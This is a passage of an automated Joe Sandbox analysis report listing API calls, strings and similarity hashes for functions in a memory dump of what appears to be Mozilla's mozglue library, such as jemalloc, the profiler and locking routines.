memset.VCRUNTIME140(00000000,00000000,?), ref: 6C59B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C59B57E
free.MOZGLUE(00000000), ref: 6C59B58F

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: b2110150a9d2409ba9b287565a460327f1156b8c7cab82aeed3c13f945b771ff
Instruction ID: 26dbdc843d1a61908acebac1848c5d4a314c5c37dd34fe57f88ea27b2c932e38
Opcode Fuzzy Hash: b2110150a9d2409ba9b287565a460327f1156b8c7cab82aeed3c13f945b771ff
Instruction Fuzzy Hash: 5C21E671A002459BEB109F69CC80B6ABBB9FF85314F244169E918DB342F736D911C7A1

Function 6C59B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C59B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C59B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C59B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C59B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C59B849

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 4d5cce6685c830a10694a4d6c30249d67ed9f5948abaa664a3648125a2f71b7d
Instruction ID: b11b3a968078b0d181f4422af60ee3b271429207a2c09a6c0a865a7b8ebbbbc8
Opcode Fuzzy Hash: 4d5cce6685c830a10694a4d6c30249d67ed9f5948abaa664a3648125a2f71b7d
Instruction Fuzzy Hash: 6A213DB0E002499FEF14DFA9C8855FEBBB4EF49314F14816AEC06A7741E731A944CBA5

Function 6C5F6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C5F6E78

Part of subcall function 6C5F6A10: InitializeCriticalSection.KERNEL32(6C61F618), ref: 6C5F6A68
Part of subcall function 6C5F6A10: GetCurrentProcess.KERNEL32 ref: 6C5F6A7D
Part of subcall function 6C5F6A10: GetCurrentProcess.KERNEL32 ref: 6C5F6AA1
Part of subcall function 6C5F6A10: EnterCriticalSection.KERNEL32(6C61F618), ref: 6C5F6AAE
Part of subcall function 6C5F6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C5F6AE1
Part of subcall function 6C5F6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C5F6B15
Part of subcall function 6C5F6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C5F6B65
Part of subcall function 6C5F6A10: LeaveCriticalSection.KERNEL32(6C61F618,?,?), ref: 6C5F6B83

MozFormatCodeAddress.MOZGLUE ref: 6C5F6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C5F6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C5F6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C5F6EFF

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 6ca9f4df43640362a40398137a5a7a15f3545e421ae71b645422fa84e05ab5da
Instruction ID: 2cd461e672eece9ac3720441528fb6b75a86321190ef19e2be225af364cc141b
Opcode Fuzzy Hash: 6ca9f4df43640362a40398137a5a7a15f3545e421ae71b645422fa84e05ab5da
Instruction Fuzzy Hash: 19218EB1A0431A9FDB04CF69D8C569A77F9EF88308F044039E85997341EB749A598F92

Function 6C5D0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C593DEF), ref: 6C5D0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C593DEF), ref: 6C5D0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C593DEF), ref: 6C5D0DAF

Strings

<jemalloc>, xrefs: 6C5D0D92, 6C5D0DB9
: (malloc) Error in VirtualFree(), xrefs: 6C5D0D97, 6C5D0DBE

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: d1030ad13f208a7d70aacfa67e23443e2865d3ca3d1529848f231adbe916cf92
Instruction ID: 05b7057e34bc18338e639c1fa2df8456bb80a067347733de42ffe404feed1fbf
Opcode Fuzzy Hash: d1030ad13f208a7d70aacfa67e23443e2865d3ca3d1529848f231adbe916cf92
Instruction Fuzzy Hash: 02F0E97139439427E624696F1C0AB6A265D67C2B27F358037F604DFDC0DA90F800C6AD

Function 6C5F5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C5F586C
CloseHandle.KERNEL32 ref: 6C5F5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5F5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5F58C9
free.MOZGLUE(00000000), ref: 6C5F58D3

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: f5978939d6c0b27acf7e4c3be3be9ff0ea5f780a57f1e9ebbeb7e9b6333e9c25
Instruction ID: 87c20f56278f55b3635b046c13a91a31e3c2321944cefe3d92a35db4500fa7df
Opcode Fuzzy Hash: f5978939d6c0b27acf7e4c3be3be9ff0ea5f780a57f1e9ebbeb7e9b6333e9c25
Instruction Fuzzy Hash: B4014F717041059BDF00DF1FDC8A6067BB9EBA332BF648177E42AD2A10D73199168F8A

Function 6C5E7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5E75C4,?), ref: 6C5E762B

Part of subcall function 6C5ACA10: malloc.MOZGLUE(?), ref: 6C5ACA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5E74D7,6C5F15FC,?,?,?), ref: 6C5E7644
GetCurrentThreadId.KERNEL32 ref: 6C5E765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5E74D7,6C5F15FC,?,?,?), ref: 6C5E7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5E74D7,6C5F15FC,?,?,?), ref: 6C5E7677

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 405facaa8715ae98f65c288444ec435a2fd2a3a12353f08a6ebd3062f0be8a05
Instruction ID: 900354a5d85f6737a6b335906b9d7ebaa1da15ee6b66f8a562622b133f8a3f24
Opcode Fuzzy Hash: 405facaa8715ae98f65c288444ec435a2fd2a3a12353f08a6ebd3062f0be8a05
Instruction Fuzzy Hash: D9F0C8B1E10745ABD7008F66C889675B778FFEA259F114317F90443B01E7B1A5D18BD0

Function 6C5F1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5F1800

Part of subcall function 6C5CCBE8: GetCurrentProcess.KERNEL32(?,6C5931A7), ref: 6C5CCBF1
Part of subcall function 6C5CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5931A7), ref: 6C5CCBFA

Part of subcall function 6C594290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5D3EBD,6C5D3EBD,00000000), ref: 6C5942A9

Strings

Details, xrefs: 6C5F1925
name, xrefs: 6C5F1939
{marker.name} - {marker.data.name}, xrefs: 6C5F18C7

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 03dd32568d11f95b6a5803ea12391059fbabcd6c29dcf087cc72079e2aae7deb
Instruction ID: c617fbfd04e0ec69227534f17b4e41d463529cdb397287b697119e1299ce1b34
Opcode Fuzzy Hash: 03dd32568d11f95b6a5803ea12391059fbabcd6c29dcf087cc72079e2aae7deb
Instruction Fuzzy Hash: 6E71E3B0A00346DFCB08DF29C99469ABBB1FF85304F40466DD8255BB41DB70EA99CBD2

Function 6C5BD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C5CCBE8: GetCurrentProcess.KERNEL32(?,6C5931A7), ref: 6C5CCBF1
Part of subcall function 6C5CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5931A7), ref: 6C5CCBFA

EnterCriticalSection.KERNEL32(6C61E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5CD1C5), ref: 6C5BD4F2
LeaveCriticalSection.KERNEL32(6C61E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5CD1C5), ref: 6C5BD50B

Part of subcall function 6C59CFE0: EnterCriticalSection.KERNEL32(6C61E784), ref: 6C59CFF6
Part of subcall function 6C59CFE0: LeaveCriticalSection.KERNEL32(6C61E784), ref: 6C59D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5CD1C5), ref: 6C5BD52E
EnterCriticalSection.KERNEL32(6C61E7DC), ref: 6C5BD690
LeaveCriticalSection.KERNEL32(6C61E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5CD1C5), ref: 6C5BD751

Strings

MOZ_CRASH(), xrefs: 6C5BD4BB

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: a6d1bc3b3106cb48f6c6f2b2cbe7e18a7553055a5d354d7d01730330e4609533
Instruction ID: 9f63e75780b088ea5fc87ad734cb0ca3a372b157cde323cb8b3c2a34f54a3c2b
Opcode Fuzzy Hash: a6d1bc3b3106cb48f6c6f2b2cbe7e18a7553055a5d354d7d01730330e4609533
Instruction Fuzzy Hash: 9C51E171A047018FD354CF2DC4A571ABBE1EB8A305F54492ED599D7F88D730E800CB42

Function 6C5E4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5E4721

Strings

profiler-paused, xrefs: 6C5E46E4
-%llu, xrefs: 6C5E4733
., xrefs: 6C5E476A

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 81408bbfaa2e8289d0347e62d8880c5c537d74b40829c77efa262fa422f8ce1f
Instruction ID: fd0f0c6debcbace8de0d6d1e9a669727a69614b8212299644231fd5435afc26d
Opcode Fuzzy Hash: 81408bbfaa2e8289d0347e62d8880c5c537d74b40829c77efa262fa422f8ce1f
Instruction Fuzzy Hash: 97412671F047089BCB08DFB9DC9115EBBE5EF89744F10863EE855A7B41EB3098458786

Function 6C609830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C60985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C60987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6098DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6098D9

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: c13757c1034de117c849da36e6f2fe3417cf89d931d2200d247b15fc15557564
Instruction ID: 024803ae3e95f0e3415372e75c6deee590feb36d8c65c087b4337383c429d73e
Opcode Fuzzy Hash: c13757c1034de117c849da36e6f2fe3417cf89d931d2200d247b15fc15557564
Instruction Fuzzy Hash: 8C310A71B002089FDB14AF99DC545EE77B9EF85718F40442DEA16ABB40DB316D048BD6

Function 6C5E46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5E4721

Part of subcall function 6C594410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C5D3EBD,00000017,?,00000000,?,6C5D3EBD,?,?,6C5942D2), ref: 6C594444

Strings

profiler-paused, xrefs: 6C5E46E4
-%llu, xrefs: 6C5E4733
., xrefs: 6C5E476A

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: d67234206992c8cc4f7225bc06428672e215e9a2095f2eb9340ed2d95ab3b860
Instruction ID: bcee94139bd7cb4c066bcc120e73f3e1819a2a9eeb43f1613f5cce687a4b7bb2
Opcode Fuzzy Hash: d67234206992c8cc4f7225bc06428672e215e9a2095f2eb9340ed2d95ab3b860
Instruction Fuzzy Hash: 61312671F042088BCB0CCFADDC8129EBBE69B8D314F15853EE8059BB41EB709C058B95

Function 6C5EB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C594290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5D3EBD,6C5D3EBD,00000000), ref: 6C5942A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C5EB127), ref: 6C5EB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C5EB4E4

Strings

pid:, xrefs: 6C5EB4DE

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: cd6ac213f8468993e0efe9992088e10a160163a24e511ab3cd24b46c8375692c
Instruction ID: 57fb8ef8b1a70e9680547df6dc7b399f6ca090ab715fd23e0d84887c8656b745
Opcode Fuzzy Hash: cd6ac213f8468993e0efe9992088e10a160163a24e511ab3cd24b46c8375692c
Instruction Fuzzy Hash: 6D311331A01318DFCB00EFA9DC80AAEB7B6BF4830AF54052AD81167A41E731A945CBE5

Function 6C5CAF8B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(;k{h;k{h;k{h;k{h;k{h;k{h,00000000), ref: 6C5CAFBD
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(;k{h;k{h;k{h,00000000), ref: 6C5CAFCC

Strings

;k{h;k{h;k{h;k{h;k{h;k{h, xrefs: 6C5CAFB8, 6C5CAFE6

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: _initialize_onexit_table
String ID: ;k{h;k{h;k{h;k{h;k{h;k{h
API String ID: 2450287516-283797529
Opcode ID: 5be930b8691f41a749e875067756131fd7ebdb4b10f094353da8cc48fff5bc85
Instruction ID: 7133df955c3bae552bf4162c7a26dbfcbb8d02c3e32d8c4b89a8699d09b20ae5
Opcode Fuzzy Hash: 5be930b8691f41a749e875067756131fd7ebdb4b10f094353da8cc48fff5bc85
Instruction Fuzzy Hash: 1A11E076F04644AECF01EEAD89453CE7BB45F42319F10815ADE20EBF80D671D9449BEA

Function 6C5ABF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C5F7A3F), ref: 6C5ABF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C5F7A3F), ref: 6C5ABF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C5F7A3F), ref: 6C5ABF7E

Strings

`l, xrefs: 6C5ABF84

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: `l
API String ID: 4279176481-3045360064
Opcode ID: ea87ef005b51358f0fcd6941c23dd680b92b2b1cb9ac914a71196fb661bda173
Instruction ID: d5cc95070c8753af50de18ccd9fc9d36a3e2b3f57f0eef919cfedc06aef6c816
Opcode Fuzzy Hash: ea87ef005b51358f0fcd6941c23dd680b92b2b1cb9ac914a71196fb661bda173
Instruction Fuzzy Hash: 6D11BFB97006048FC729CF0CD699926FBF8FB59309315889DE98A8BB50C731A800CB94

Function 6C5DE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5DE577
AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DE584
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5DE8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C5DE5A1, 6C5DE5CC, 6C5DE5FF, 6C5DE62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5DE777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5DE722, 6C5DE750, 6C5DE7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5DE826, 6C5DE850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5DE655

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 5e61f506d15d424ed2a427535ee9ed9b24b32e8f51c407e0aa5d60ec90cf0270
Instruction ID: c8fb8402d9c4f4903128260fd154c04d5bf5cee5f18bca0e133631f4cfe993c9
Opcode Fuzzy Hash: 5e61f506d15d424ed2a427535ee9ed9b24b32e8f51c407e0aa5d60ec90cf0270
Instruction Fuzzy Hash: 3811CE31A04254DFCB00DF1EC88AA69BBB4FFC936AF01051AE84587F41C770A805CB9E

Function 6C5E0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5E0CD5

Part of subcall function 6C5CF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5CF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5E0D40
free.MOZGLUE ref: 6C5E0DCB

Part of subcall function 6C5B5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5B5EDB
Part of subcall function 6C5B5E90: memset.VCRUNTIME140(ew_l,000000E5,?), ref: 6C5B5F27
Part of subcall function 6C5B5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5B5FB2

free.MOZGLUE ref: 6C5E0DDD
free.MOZGLUE ref: 6C5E0DF2

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

